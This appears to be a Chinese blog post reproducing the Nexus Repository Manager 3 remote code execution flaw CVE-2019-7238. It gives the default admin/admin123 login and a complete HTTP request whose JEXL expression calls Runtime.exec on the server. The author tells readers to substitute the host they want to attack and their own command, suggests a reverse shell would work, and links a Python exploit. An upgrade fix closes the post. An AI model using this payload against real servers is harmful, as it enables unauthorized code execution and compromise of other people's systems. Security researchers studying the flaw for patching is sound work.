美文网首页
Nexus Repository Manager 3 远程代码执

Nexus Repository Manager 3 远程代码执

作者: 低调求发展 | 来源:发表于2020-01-13 11:25 被阅读0次

    前言:

    Nexus Repository Manager是Sonatype公司的一个产品,简称NXRM,它是一款通用的软件包仓库管理服务,可以简单的理解为Maven的私服。

    2019年2月5日Sonatype发布安全公告,在Nexus Repository Manager 3中由于存在访问控制措施的不足,未授权的用户可以利用该缺陷构造特定的请求在服务器上执行Java代码,从而达到远程代码执行的目的。

    影响版本:

    Nexus Repository Manager OSS/Pro 3.6.2版本到3.14.0版本

    漏洞环境:

    使用3.14.0版本

    oss 3.14.0-04

    漏洞复现:

    首先要登陆系统,默认账号密码admin/admin123,上传一个任意jar包,以为要触发该漏洞,必须要保证仓库里必须保证有一个jar存在

    上传一个jar 上传位置

    方法1.直接上poc:

    poc:

    POST /service/extdirect HTTP/1.1

    Host: 192.168.220.131:8081

    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0

    Accept: */*

    Content-Type: application/json

    X-Requested-With: XMLHttpRequest

    Content-Length: 368

    Connection: close

    {"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":

    [{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}

    这里主机换成自己需要攻击的主机,然后执行命令自己写。既然能创建文件,理论上反弹shell也是可以的。

    poc发送

    检测是否执行成功:

    方法二:直接利用py poc

    py下载:https://github.com/jas502n/CVE-2019-7238

    修复建议:

    将Nexus Repository Manager OSS/Pro升级到3.15.0及之后的版本

    参考链接:

    https://github.com/jas502n/CVE-2019-7238

    https://www.anquanke.com/post/id/171116

    相关文章

      网友评论

          本文标题:Nexus Repository Manager 3 远程代码执

          本文链接:https://www.haomeiwen.com/subject/ltegactx.html